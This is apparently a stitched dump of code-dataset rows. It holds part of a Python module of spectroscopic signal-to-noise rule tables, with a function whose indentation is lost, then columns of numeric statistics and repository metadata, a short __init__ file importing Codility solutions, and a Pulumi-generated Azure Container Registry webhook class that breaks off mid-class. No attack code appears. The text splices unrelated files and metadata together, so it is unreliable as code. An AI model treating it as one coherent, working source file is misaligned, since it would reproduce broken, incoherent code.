#RULE_NAME VARIABLE METRIC OPERATOR COMP_VALUE LAMBDA_MIN LAMBDA_MAX LAMBDA_UNIT DELTAL DELTAL_TYPE
AGN_SNR_RULEB SNR MEDIAN DIV 1.0 4200.0 5000.0 OBS_AA 1.0 OBS_AA
AGN_SNR_RULEG SNR MEDIAN DIV 1.0 5500.0 6700.0 OBS_AA 1.0 OBS_AA
AGN_SNR_RULER SNR MEDIAN DIV 1.0 7200.0 9000.0 OBS_AA 1.0 OBS_AA
#Notes:
#Notes: New (Dec 2015) formulation based on BOSS/XMM-XXL measurements
#Notes:
#Notes: - 5% failure rate
#Notes: RULE1: MEDIAN SN/AA>1.1 over the range 4200-5000AA (5% case)
#Notes: RULE2: MEDIAN SN/AA>1.3 over the range 5500-6700AA (5% case)
#Notes: RULE3: MEDIAN SN/AA>1.5 over the range 7200-9000AA (5% case)
#Notes:
#Notes: - 3% failure rate
#Notes: RULE1: MEDIAN SN/AA>2.1 over the range 4200-5000AA (3% case)
#Notes: RULE2: MEDIAN SN/AA>2.4 over the range 5500-6700AA (3% case)
#Notes: RULE3: MEDIAN SN/AA>2.8 over the range 7200-9000AA (3% case)
#Notes:
############################################################################################################
############################################################################################################
############################################################################################################
############################################################################################################
## S7 Galaxy evolution (WAVES)
############################################################################################################
#RULE_NAME VARIABLE METRIC OPERATOR COMP_VALUE LAMBDA_MIN LAMBDA_MAX LAMBDA_UNIT DELTAL DELTAL_TYPE
WAVES_RULE1 SNR MEDIAN DIV 1.0 6000.0 6400.0 AA 1.0 PIXEL
#Notes:
#Notes: SNR 'per pixel' is deprecated, better to use 'per Angstrom' as it is independent of exact spectral format
#Notes: New formulation, (Dec 2015)
#Notes:
############################################################################################################
############################################################################################################
############################################################################################################
############################################################################################################
## S8 Cosmology (Cosmology)
############################################################################################################
#RULE_NAME VARIABLE METRIC OPERATOR COMP_VALUE LAMBDA_MIN LAMBDA_MAX LAMBDA_UNIT DELTAL DELTAL_TYPE
COSMOBG_SNR SNR MEDIAN DIV 1.0 5500.0 6700.0 OBS_AA 1.0 OBS_AA
COSMOLRG_SNR SNR MEDIAN DIV 1.0 6800.0 7300.0 OBS_AA 1.0 OBS_AA
COSMOELG_SNR SNR MEDIAN DIV 1.0 5500.0 6700.0 OBS_AA 1.0 OBS_AA
COSMOQSO_SNR_B SNR MEDIAN DIV 1.0 4200.0 5000.0 OBS_AA 1.0 OBS_AA
COSMOQSO_SNR_G SNR MEDIAN DIV 1.0 5500.0 6700.0 OBS_AA 1.0 OBS_AA
COSMOQSO_SNR_R SNR MEDIAN DIV 1.0 7200.0 9000.0 OBS_AA 1.0 OBS_AA
#Notes:
#Notes: As specified in Johan Richard's submission from 10/09/2016
#Notes:
#Notes:
#old# Cosmo_ELG_OII SNR MEAN GE 6.0 3726.0 3730.0 REST_AA 1.0 OBS_AA
#old# Cosmo_ELG_OIII SNR MEAN GE 6.0 5004.0 5010.0 REST_AA 1.0 OBS_AA
#old# #Notes:
#old# #Notes: IoA_DQCT's wavelength range is 3728AArest +-5 AAobs, not 3726.0->3730.0 AArest as given in SuccCritDoc
#old# #Notes: IoA_DQCT's wavelength range is 5008AArest +-5 AAobs, not 5004.0->5010.0 AArest as given in SuccCritDoc
#old# #Notes: Calculated deltal is assumed to be per observed frame AA
#old# #Notes: IoA_DQCT's calculated measure is MEDIAN but should be MEAN as given in SuccCritDoc
#old# #Notes: Use Clusters rules for Cosmology Ellipticals
#old# #Notes:
############################################################################################################
############################################################################################################
############################################################################################################
############################################################################################################
## ??S9?? Magellanic Clouds (1001MC)
############################################################################################################
#RULE_NAME VARIABLE METRIC OPERATOR COMP_VALUE LAMBDA_MIN LAMBDA_MAX LAMBDA_UNIT DELTAL DELTAL_TYPE
MC_LR_Mg SNR MEDIAN DIV 1.0 514.0 520.0 OBS_NM 1.0 OBS_AA
MC_LR_Ca SNR MEDIAN DIV 1.0 835.0 885.0 OBS_NM 1.0 OBS_AA
MC_HR_Mg SNR MEDIAN DIV 1.0 514.0 520.0 OBS_NM 1.0 OBS_AA
#Notes:
#Notes: LR mode: S/N>30 per AA in the ranges of the Ca (835-885 nm) and Mg (514-520 nm) triplets.
#Notes: for HR please consider S/N>50 in the range 514-520 nm. That's again a starting point.
#Notes:
############################################################################################################
############################################################################################################
"""
def ruleset(snr_list, snr_definitions):
output = """
#NAME REQUIRED_VALUE EXPRESSION
goodSNR250c 250.0 DCFSNR
"""
for snr_definition in snr_definitions:
for snr in snr_list:
output += "goodSNR{0:.1f}_{1:s} {2:13.1f} {1:s}\n".format(snr, snr_definition, snr)
return output
| 99.145055
| 251
| 0.481479
| 4,646
| 45,111
| 4.533147
| 0.148515
| 0.004843
| 0.024595
| 0.035136
| 0.760315
| 0.734058
| 0.719719
| 0.712834
| 0.704383
| 0.682826
| 0
| 0.05304
| 0.359713
| 45,111
| 454
| 252
| 99.363436
| 0.676118
| 0.00501
| 0
| 0.564356
| 0
| 0.292079
| 0.993404
| 0.254808
| 0
| 0
| 0
| 0
| 0
| 1
| 0.002475
| false
| 0.049505
| 0
| 0
| 0.004951
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
54d9e8857e49292757e102083b66301040ceb901
| 222
|
py
|
Python
|
Solutions/Training/Lesson_05/__init__.py
|
dev-11/codility-solutions
|
01b0ce4a43b1390fe15f2daabea95e90b834fbfc
|
[
"MIT"
] | null | null | null |
Solutions/Training/Lesson_05/__init__.py
|
dev-11/codility-solutions
|
01b0ce4a43b1390fe15f2daabea95e90b834fbfc
|
[
"MIT"
] | null | null | null |
Solutions/Training/Lesson_05/__init__.py
|
dev-11/codility-solutions
|
01b0ce4a43b1390fe15f2daabea95e90b834fbfc
|
[
"MIT"
] | null | null | null |
from .passing_cars import solution as passing_cars
from .genomic_range_query import solution as genomic_range_query
from .min_avg_two_slice import solution as min_avg_two_slice
from .count_div import solution as count_div
| 44.4
| 64
| 0.873874
| 38
| 222
| 4.736842
| 0.394737
| 0.311111
| 0.355556
| 0.155556
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.108108
| 222
| 4
| 65
| 55.5
| 0.909091
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.25
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
|
0
| 7
|
0708218b75540ef6b5f23ed70c9d04104a35ae84
| 31,231
|
py
|
Python
|
sdk/python/pulumi_azure/containerservice/registry_webook.py
|
henriktao/pulumi-azure
|
f1cbcf100b42b916da36d8fe28be3a159abaf022
|
[
"ECL-2.0",
"Apache-2.0"
] | 109
|
2018-06-18T00:19:44.000Z
|
2022-02-20T05:32:57.000Z
|
sdk/python/pulumi_azure/containerservice/registry_webook.py
|
henriktao/pulumi-azure
|
f1cbcf100b42b916da36d8fe28be3a159abaf022
|
[
"ECL-2.0",
"Apache-2.0"
] | 663
|
2018-06-18T21:08:46.000Z
|
2022-03-31T20:10:11.000Z
|
sdk/python/pulumi_azure/containerservice/registry_webook.py
|
henriktao/pulumi-azure
|
f1cbcf100b42b916da36d8fe28be3a159abaf022
|
[
"ECL-2.0",
"Apache-2.0"
] | 41
|
2018-07-19T22:37:38.000Z
|
2022-03-14T10:56:26.000Z
|
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
__all__ = ['RegistryWebookArgs', 'RegistryWebook']
@pulumi.input_type
class RegistryWebookArgs:
def __init__(__self__, *,
actions: pulumi.Input[Sequence[pulumi.Input[str]]],
registry_name: pulumi.Input[str],
resource_group_name: pulumi.Input[str],
service_uri: pulumi.Input[str],
custom_headers: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
location: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
scope: Optional[pulumi.Input[str]] = None,
status: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None):
"""
The set of arguments for constructing a RegistryWebook resource.
:param pulumi.Input[Sequence[pulumi.Input[str]]] actions: A list of actions that trigger the Webhook to post notifications. At least one action needs to be specified. Valid values are: `push`, `delete`, `quarantine`, `chart_push`, `chart_delete`
:param pulumi.Input[str] registry_name: The Name of Container registry this Webhook belongs to. Changing this forces a new resource to be created.
:param pulumi.Input[str] resource_group_name: The name of the resource group in which to create the Container Registry Webhook. Changing this forces a new resource to be created.
:param pulumi.Input[str] service_uri: Specifies the service URI for the Webhook to post notifications.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] custom_headers: Custom headers that will be added to the webhook notifications request.
:param pulumi.Input[str] location: Specifies the supported Azure location where the resource exists. Changing this forces a new resource to be created.
:param pulumi.Input[str] name: Specifies the name of the Container Registry Webhook. Changing this forces a new resource to be created.
:param pulumi.Input[str] scope: Specifies the scope of repositories that can trigger an event. For example, `foo:*` means events for all tags under repository `foo`. `foo:bar` means events for 'foo:bar' only. `foo` is equivalent to `foo:latest`. Empty means all events.
:param pulumi.Input[str] status: Specifies if this Webhook triggers notifications or not. Valid values: `enabled` and `disabled`. Default is `enabled`.
"""
pulumi.set(__self__, "actions", actions)
pulumi.set(__self__, "registry_name", registry_name)
pulumi.set(__self__, "resource_group_name", resource_group_name)
pulumi.set(__self__, "service_uri", service_uri)
if custom_headers is not None:
pulumi.set(__self__, "custom_headers", custom_headers)
if location is not None:
pulumi.set(__self__, "location", location)
if name is not None:
pulumi.set(__self__, "name", name)
if scope is not None:
pulumi.set(__self__, "scope", scope)
if status is not None:
pulumi.set(__self__, "status", status)
if tags is not None:
pulumi.set(__self__, "tags", tags)
@property
@pulumi.getter
def actions(self) -> pulumi.Input[Sequence[pulumi.Input[str]]]:
"""
A list of actions that trigger the Webhook to post notifications. At least one action needs to be specified. Valid values are: `push`, `delete`, `quarantine`, `chart_push`, `chart_delete`
"""
return pulumi.get(self, "actions")
@actions.setter
def actions(self, value: pulumi.Input[Sequence[pulumi.Input[str]]]):
pulumi.set(self, "actions", value)
@property
@pulumi.getter(name="registryName")
def registry_name(self) -> pulumi.Input[str]:
"""
The Name of Container registry this Webhook belongs to. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "registry_name")
@registry_name.setter
def registry_name(self, value: pulumi.Input[str]):
pulumi.set(self, "registry_name", value)
@property
@pulumi.getter(name="resourceGroupName")
def resource_group_name(self) -> pulumi.Input[str]:
"""
The name of the resource group in which to create the Container Registry Webhook. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "resource_group_name")
@resource_group_name.setter
def resource_group_name(self, value: pulumi.Input[str]):
pulumi.set(self, "resource_group_name", value)
@property
@pulumi.getter(name="serviceUri")
def service_uri(self) -> pulumi.Input[str]:
"""
Specifies the service URI for the Webhook to post notifications.
"""
return pulumi.get(self, "service_uri")
@service_uri.setter
def service_uri(self, value: pulumi.Input[str]):
pulumi.set(self, "service_uri", value)
@property
@pulumi.getter(name="customHeaders")
def custom_headers(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
"""
Custom headers that will be added to the webhook notifications request.
"""
return pulumi.get(self, "custom_headers")
@custom_headers.setter
def custom_headers(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "custom_headers", value)
@property
@pulumi.getter
def location(self) -> Optional[pulumi.Input[str]]:
"""
Specifies the supported Azure location where the resource exists. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "location")
@location.setter
def location(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "location", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Specifies the name of the Container Registry Webhook. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def scope(self) -> Optional[pulumi.Input[str]]:
"""
Specifies the scope of repositories that can trigger an event. For example, `foo:*` means events for all tags under repository `foo`. `foo:bar` means events for 'foo:bar' only. `foo` is equivalent to `foo:latest`. Empty means all events.
"""
return pulumi.get(self, "scope")
@scope.setter
def scope(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "scope", value)
@property
@pulumi.getter
def status(self) -> Optional[pulumi.Input[str]]:
"""
Specifies if this Webhook triggers notifications or not. Valid values: `enabled` and `disabled`. Default is `enabled`.
"""
return pulumi.get(self, "status")
@status.setter
def status(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "status", value)
@property
@pulumi.getter
def tags(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
return pulumi.get(self, "tags")
@tags.setter
def tags(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "tags", value)
@pulumi.input_type
class _RegistryWebookState:
def __init__(__self__, *,
actions: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
custom_headers: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
location: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
registry_name: Optional[pulumi.Input[str]] = None,
resource_group_name: Optional[pulumi.Input[str]] = None,
scope: Optional[pulumi.Input[str]] = None,
service_uri: Optional[pulumi.Input[str]] = None,
status: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None):
"""
Input properties used for looking up and filtering RegistryWebook resources.
:param pulumi.Input[Sequence[pulumi.Input[str]]] actions: A list of actions that trigger the Webhook to post notifications. At least one action needs to be specified. Valid values are: `push`, `delete`, `quarantine`, `chart_push`, `chart_delete`
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] custom_headers: Custom headers that will be added to the webhook notifications request.
:param pulumi.Input[str] location: Specifies the supported Azure location where the resource exists. Changing this forces a new resource to be created.
:param pulumi.Input[str] name: Specifies the name of the Container Registry Webhook. Changing this forces a new resource to be created.
:param pulumi.Input[str] registry_name: The Name of Container registry this Webhook belongs to. Changing this forces a new resource to be created.
:param pulumi.Input[str] resource_group_name: The name of the resource group in which to create the Container Registry Webhook. Changing this forces a new resource to be created.
:param pulumi.Input[str] scope: Specifies the scope of repositories that can trigger an event. For example, `foo:*` means events for all tags under repository `foo`. `foo:bar` means events for 'foo:bar' only. `foo` is equivalent to `foo:latest`. Empty means all events.
:param pulumi.Input[str] service_uri: Specifies the service URI for the Webhook to post notifications.
:param pulumi.Input[str] status: Specifies if this Webhook triggers notifications or not. Valid values: `enabled` and `disabled`. Default is `enabled`.
"""
if actions is not None:
pulumi.set(__self__, "actions", actions)
if custom_headers is not None:
pulumi.set(__self__, "custom_headers", custom_headers)
if location is not None:
pulumi.set(__self__, "location", location)
if name is not None:
pulumi.set(__self__, "name", name)
if registry_name is not None:
pulumi.set(__self__, "registry_name", registry_name)
if resource_group_name is not None:
pulumi.set(__self__, "resource_group_name", resource_group_name)
if scope is not None:
pulumi.set(__self__, "scope", scope)
if service_uri is not None:
pulumi.set(__self__, "service_uri", service_uri)
if status is not None:
pulumi.set(__self__, "status", status)
if tags is not None:
pulumi.set(__self__, "tags", tags)
@property
@pulumi.getter
def actions(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
A list of actions that trigger the Webhook to post notifications. At least one action needs to be specified. Valid values are: `push`, `delete`, `quarantine`, `chart_push`, `chart_delete`
"""
return pulumi.get(self, "actions")
@actions.setter
def actions(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "actions", value)
@property
@pulumi.getter(name="customHeaders")
def custom_headers(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
"""
Custom headers that will be added to the webhook notifications request.
"""
return pulumi.get(self, "custom_headers")
@custom_headers.setter
def custom_headers(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "custom_headers", value)
@property
@pulumi.getter
def location(self) -> Optional[pulumi.Input[str]]:
"""
Specifies the supported Azure location where the resource exists. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "location")
@location.setter
def location(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "location", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Specifies the name of the Container Registry Webhook. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="registryName")
def registry_name(self) -> Optional[pulumi.Input[str]]:
"""
The Name of Container registry this Webhook belongs to. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "registry_name")
@registry_name.setter
def registry_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "registry_name", value)
@property
@pulumi.getter(name="resourceGroupName")
def resource_group_name(self) -> Optional[pulumi.Input[str]]:
"""
The name of the resource group in which to create the Container Registry Webhook. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "resource_group_name")
@resource_group_name.setter
def resource_group_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "resource_group_name", value)
@property
@pulumi.getter
def scope(self) -> Optional[pulumi.Input[str]]:
"""
Specifies the scope of repositories that can trigger an event. For example, `foo:*` means events for all tags under repository `foo`. `foo:bar` means events for 'foo:bar' only. `foo` is equivalent to `foo:latest`. Empty means all events.
"""
return pulumi.get(self, "scope")
@scope.setter
def scope(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "scope", value)
@property
@pulumi.getter(name="serviceUri")
def service_uri(self) -> Optional[pulumi.Input[str]]:
"""
Specifies the service URI for the Webhook to post notifications.
"""
return pulumi.get(self, "service_uri")
@service_uri.setter
def service_uri(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "service_uri", value)
@property
@pulumi.getter
def status(self) -> Optional[pulumi.Input[str]]:
"""
Specifies if this Webhook triggers notifications or not. Valid values: `enabled` and `disabled`. Default is `enabled`.
"""
return pulumi.get(self, "status")
@status.setter
def status(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "status", value)
@property
@pulumi.getter
def tags(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
return pulumi.get(self, "tags")
@tags.setter
def tags(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "tags", value)
warnings.warn("""azure.containerservice.RegistryWebook has been deprecated in favor of azure.containerservice.RegistryWebhook""", DeprecationWarning)
class RegistryWebook(pulumi.CustomResource):
warnings.warn("""azure.containerservice.RegistryWebook has been deprecated in favor of azure.containerservice.RegistryWebhook""", DeprecationWarning)
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
actions: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
custom_headers: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
location: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
registry_name: Optional[pulumi.Input[str]] = None,
resource_group_name: Optional[pulumi.Input[str]] = None,
scope: Optional[pulumi.Input[str]] = None,
service_uri: Optional[pulumi.Input[str]] = None,
status: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
__props__=None):
"""
Manages an Azure Container Registry Webhook.
## Example Usage
```python
import pulumi
import pulumi_azure as azure
rg = azure.core.ResourceGroup("rg", location="West Europe")
acr = azure.containerservice.Registry("acr",
resource_group_name=rg.name,
location=rg.location,
sku="Standard",
admin_enabled=False)
webhook = azure.containerservice.RegistryWebhook("webhook",
resource_group_name=rg.name,
registry_name=acr.name,
location=rg.location,
service_uri="https://mywebhookreceiver.example/mytag",
status="enabled",
scope="mytag:*",
actions=["push"],
custom_headers={
"Content-Type": "application/json",
})
```
## Import
Container Registry Webhooks can be imported using the `resource id`, e.g.
```sh
$ pulumi import azure:containerservice/registryWebook:RegistryWebook example /subscriptions/00000000-0000-0000-0000-000000000000/resourcegroups/mygroup1/providers/Microsoft.ContainerRegistry/registries/myregistry1/webhooks/mywebhook1
```
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[Sequence[pulumi.Input[str]]] actions: A list of actions that trigger the Webhook to post notifications. At least one action needs to be specified. Valid values are: `push`, `delete`, `quarantine`, `chart_push`, `chart_delete`
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] custom_headers: Custom headers that will be added to the webhook notifications request.
:param pulumi.Input[str] location: Specifies the supported Azure location where the resource exists. Changing this forces a new resource to be created.
:param pulumi.Input[str] name: Specifies the name of the Container Registry Webhook. Changing this forces a new resource to be created.
:param pulumi.Input[str] registry_name: The Name of Container registry this Webhook belongs to. Changing this forces a new resource to be created.
:param pulumi.Input[str] resource_group_name: The name of the resource group in which to create the Container Registry Webhook. Changing this forces a new resource to be created.
:param pulumi.Input[str] scope: Specifies the scope of repositories that can trigger an event. For example, `foo:*` means events for all tags under repository `foo`. `foo:bar` means events for 'foo:bar' only. `foo` is equivalent to `foo:latest`. Empty means all events.
:param pulumi.Input[str] service_uri: Specifies the service URI for the Webhook to post notifications.
:param pulumi.Input[str] status: Specifies if this Webhook triggers notifications or not. Valid values: `enabled` and `disabled`. Default is `enabled`.
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: RegistryWebookArgs,
opts: Optional[pulumi.ResourceOptions] = None):
"""
Manages an Azure Container Registry Webhook.
## Example Usage
```python
import pulumi
import pulumi_azure as azure
rg = azure.core.ResourceGroup("rg", location="West Europe")
acr = azure.containerservice.Registry("acr",
resource_group_name=rg.name,
location=rg.location,
sku="Standard",
admin_enabled=False)
webhook = azure.containerservice.RegistryWebhook("webhook",
resource_group_name=rg.name,
registry_name=acr.name,
location=rg.location,
service_uri="https://mywebhookreceiver.example/mytag",
status="enabled",
scope="mytag:*",
actions=["push"],
custom_headers={
"Content-Type": "application/json",
})
```
## Import
Container Registry Webhooks can be imported using the `resource id`, e.g.
```sh
$ pulumi import azure:containerservice/registryWebook:RegistryWebook example /subscriptions/00000000-0000-0000-0000-000000000000/resourcegroups/mygroup1/providers/Microsoft.ContainerRegistry/registries/myregistry1/webhooks/mywebhook1
```
:param str resource_name: The name of the resource.
:param RegistryWebookArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(RegistryWebookArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
actions: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
custom_headers: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
location: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
registry_name: Optional[pulumi.Input[str]] = None,
resource_group_name: Optional[pulumi.Input[str]] = None,
scope: Optional[pulumi.Input[str]] = None,
service_uri: Optional[pulumi.Input[str]] = None,
status: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
__props__=None):
pulumi.log.warn("""RegistryWebook is deprecated: azure.containerservice.RegistryWebook has been deprecated in favor of azure.containerservice.RegistryWebhook""")
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = RegistryWebookArgs.__new__(RegistryWebookArgs)
if actions is None and not opts.urn:
raise TypeError("Missing required property 'actions'")
__props__.__dict__["actions"] = actions
__props__.__dict__["custom_headers"] = custom_headers
__props__.__dict__["location"] = location
__props__.__dict__["name"] = name
if registry_name is None and not opts.urn:
raise TypeError("Missing required property 'registry_name'")
__props__.__dict__["registry_name"] = registry_name
if resource_group_name is None and not opts.urn:
raise TypeError("Missing required property 'resource_group_name'")
__props__.__dict__["resource_group_name"] = resource_group_name
__props__.__dict__["scope"] = scope
if service_uri is None and not opts.urn:
raise TypeError("Missing required property 'service_uri'")
__props__.__dict__["service_uri"] = service_uri
__props__.__dict__["status"] = status
__props__.__dict__["tags"] = tags
super(RegistryWebook, __self__).__init__(
'azure:containerservice/registryWebook:RegistryWebook',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
actions: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
custom_headers: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
location: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
registry_name: Optional[pulumi.Input[str]] = None,
resource_group_name: Optional[pulumi.Input[str]] = None,
scope: Optional[pulumi.Input[str]] = None,
service_uri: Optional[pulumi.Input[str]] = None,
status: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None) -> 'RegistryWebook':
"""
Get an existing RegistryWebook resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[Sequence[pulumi.Input[str]]] actions: A list of actions that trigger the Webhook to post notifications. At least one action needs to be specified. Valid values are: `push`, `delete`, `quarantine`, `chart_push`, `chart_delete`
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] custom_headers: Custom headers that will be added to the webhook notifications request.
:param pulumi.Input[str] location: Specifies the supported Azure location where the resource exists. Changing this forces a new resource to be created.
:param pulumi.Input[str] name: Specifies the name of the Container Registry Webhook. Changing this forces a new resource to be created.
:param pulumi.Input[str] registry_name: The Name of Container registry this Webhook belongs to. Changing this forces a new resource to be created.
:param pulumi.Input[str] resource_group_name: The name of the resource group in which to create the Container Registry Webhook. Changing this forces a new resource to be created.
:param pulumi.Input[str] scope: Specifies the scope of repositories that can trigger an event. For example, `foo:*` means events for all tags under repository `foo`. `foo:bar` means events for 'foo:bar' only. `foo` is equivalent to `foo:latest`. Empty means all events.
:param pulumi.Input[str] service_uri: Specifies the service URI for the Webhook to post notifications.
:param pulumi.Input[str] status: Specifies if this Webhook triggers notifications or not. Valid values: `enabled` and `disabled`. Default is `enabled`.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _RegistryWebookState.__new__(_RegistryWebookState)
__props__.__dict__["actions"] = actions
__props__.__dict__["custom_headers"] = custom_headers
__props__.__dict__["location"] = location
__props__.__dict__["name"] = name
__props__.__dict__["registry_name"] = registry_name
__props__.__dict__["resource_group_name"] = resource_group_name
__props__.__dict__["scope"] = scope
__props__.__dict__["service_uri"] = service_uri
__props__.__dict__["status"] = status
__props__.__dict__["tags"] = tags
return RegistryWebook(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter
def actions(self) -> pulumi.Output[Sequence[str]]:
"""
A list of actions that trigger the Webhook to post notifications. At least one action needs to be specified. Valid values are: `push`, `delete`, `quarantine`, `chart_push`, `chart_delete`
"""
return pulumi.get(self, "actions")
@property
@pulumi.getter(name="customHeaders")
def custom_headers(self) -> pulumi.Output[Optional[Mapping[str, str]]]:
"""
Custom headers that will be added to the webhook notifications request.
"""
return pulumi.get(self, "custom_headers")
@property
@pulumi.getter
def location(self) -> pulumi.Output[str]:
"""
Specifies the supported Azure location where the resource exists. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "location")
@property
@pulumi.getter
def name(self) -> pulumi.Output[str]:
"""
Specifies the name of the Container Registry Webhook. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "name")
@property
@pulumi.getter(name="registryName")
def registry_name(self) -> pulumi.Output[str]:
"""
The Name of Container registry this Webhook belongs to. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "registry_name")
@property
@pulumi.getter(name="resourceGroupName")
def resource_group_name(self) -> pulumi.Output[str]:
"""
The name of the resource group in which to create the Container Registry Webhook. Changing this forces a new resource to be created.
"""
return pulumi.get(self, "resource_group_name")
@property
@pulumi.getter
def scope(self) -> pulumi.Output[Optional[str]]:
"""
Specifies the scope of repositories that can trigger an event. For example, `foo:*` means events for all tags under repository `foo`. `foo:bar` means events for 'foo:bar' only. `foo` is equivalent to `foo:latest`. Empty means all events.
"""
return pulumi.get(self, "scope")
@property
@pulumi.getter(name="serviceUri")
def service_uri(self) -> pulumi.Output[str]:
"""
Specifies the service URI for the Webhook to post notifications.
"""
return pulumi.get(self, "service_uri")
@property
@pulumi.getter
def status(self) -> pulumi.Output[Optional[str]]:
"""
Specifies if this Webhook triggers notifications or not. Valid values: `enabled` and `disabled`. Default is `enabled`.
"""
return pulumi.get(self, "status")
@property
@pulumi.getter
